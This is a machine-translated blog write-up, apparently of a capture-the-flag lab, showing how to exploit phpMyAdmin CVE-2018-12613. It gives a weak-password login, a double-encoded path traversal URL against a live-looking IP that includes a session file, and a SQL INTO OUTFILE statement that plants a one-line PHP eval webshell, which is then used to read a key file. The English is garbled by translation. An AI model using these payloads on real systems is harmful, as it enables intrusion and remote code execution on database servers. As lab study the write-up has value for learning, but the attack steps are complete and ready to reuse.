PhpMyAdmin stage file contains analysis traceability

phpMyAdmin Vulnerability utilization summary ：PhpMyAdmin Vulnerability utilization summary - Speak only - Blog Garden

Hole number ：CVE-2018-12613

Background introduction

phpMyAdmin It's an open source set 、 be based on Web Of MySQL Database management tools . Its index.php One file in contains logic , The check can be bypassed by secondary coding , Cause Remote File Inclusion Vulnerability .

One . Weak password login

root-root

Two . utilize sql sentence , take php Code writing Session In file

3、 ... and . contain Session file

http://219.153.49.228:44273/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_***

 *** representative phpmyadmin Of cookie Value ,f12 Storage can be seen

 

  View the absolute path of the current website

  Four . Upload a word of Trojan

select '<?php @eval($_POST[SBW])?> ' into outfile '/var/www/html/hack.php' 

  Upload successful

  5、 ... and . Chopper connection to get key.txt